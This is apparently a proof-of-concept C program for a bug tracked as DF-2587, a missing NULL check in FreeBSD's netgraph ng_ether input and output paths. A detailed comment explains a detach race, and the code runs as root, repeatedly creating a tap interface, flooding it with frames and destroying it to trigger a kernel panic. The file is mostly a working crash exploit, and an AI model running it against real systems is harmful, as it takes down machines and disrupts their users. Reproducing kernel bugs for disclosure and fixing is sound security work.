DF-2587 / poc.c
/* * DF-2587 PoC โ ng_ether_input / ng_ether_input_orphan / ng_ether_output * dereference IFP2NG(ifp) as node->private with NO NULL check. * * Bug (sys/netgraph/ether/ng_ether.c): * ng_ether_input (:206-207), ng_ether_input_orphan (:222-223), * ng_ether_output (:260-261) all do: * const node_p node = IFP2NG(ifp); * const priv_p priv = node->private; // NULL-deref if node==NULL * whereas the sibling ng_ether_detach (:323) correctly guards: * if (node == NULL) return; // :326 * * IFP2NG(ifp) becomes NULL on a LIVE interface only via ng_ether_detach * (:331 `IFP2NG(ifp) = NULL`), which runs from ether_ifdetach when the * interface is destroyed. So the NULL-deref is reachable when a packet is * in ether_input -> ng_ether_input (netisr) on an interface that is being * concurrently detached (ng_ether_detach nulls IFP2NG between the packet * being queued and ng_ether_input reading IFP2NG). It is also reachable if * ng_ether_attach fails to set IFP2NG (:289/:296) and the interface still * receives packets โ but that needs memory pressure. * * This PoC reproduces the detach race as root: create a tap interface * (ng_ether attaches to it), flood RX frames into it by writing the tap fd * (each write == one ethernet frame received -> ether_input -> ng_ether_input), * and concurrently destroy the tap (ifconfig tap0 destroy -> ether_ifdetach -> * ng_ether_detach -> IFP2NG=NULL). Under the race, ng_ether_input reads * IFP2NG==NULL and derefs -> panic. The race window is narrow; the loop runs * many create/flood/destroy cycles to hit it. * * Run as root: ./poc */ #include <sys/types.h> #include <sys/socket.h> #include <sys/ioctl.h> #include <net/if.h> #include <fcntl.h> #include <unistd.h> #include <stdlib.h> #include <stdio.h> #include <string.h> #include <errno.h> #include <sys/wait.h> static const unsigned char frame[64] = { /* dst=broadcast, src=02:00:00:00:00:01, type=0x0800, zero-padded */ 0xff,0xff,0xff,0xff,0xff,0xff, 0x02,0x00,0x00,0x00,0x00,0x01, 0x08,0x00 }; static int sh(const char *cmd) { return system(cmd); } int main(void) { int cycle; fprintf(stderr, "[+] DF-2587 ng_ether detach race: burst-write -> close -> destroy\n"); sh("kldload -n ng_ether 2>/dev/null"); /* NOTE: ifconfig tapX destroy returns EBUSY while the tap fd is open, * so the detach (which nulls IFP2NG) can only run AFTER we close the fd. * The race is therefore: burst-write many frames (queued in netisr on * another CPU), close the fd, then destroy tap0 immediately. If the * netisr processes a queued frame AFTER ng_ether_detach has nulled * IFP2NG(tap0) but while the ifp is still being torn down, ng_ether_input * reads IFP2NG==NULL and derefs -> panic. Cross-CPU race. */ for (cycle = 0; cycle < 4000; cycle++) { if (sh("ifconfig tap0 create 2>/dev/null") != 0) continue; int fd = open("/dev/tap0", O_RDWR); if (fd < 0) { sh("ifconfig tap0 destroy 2>/dev/null"); continue; } /* burst-write to queue many frames into netisr */ for (int i = 0; i < 256; i++) { if (write(fd, frame, sizeof(frame)) < 0) break; } /* close so destroy can succeed, then destroy immediately to race netisr */ close(fd); sh("ifconfig tap0 destroy 2>/dev/null"); if (cycle % 200 == 0) fprintf(stderr, "[.] cycle %d\n", cycle); } sh("ifconfig tap0 destroy 2>/dev/null"); fprintf(stderr, "[+] done โ if we got here, no panic on this run (race narrow)\n"); return 0; } |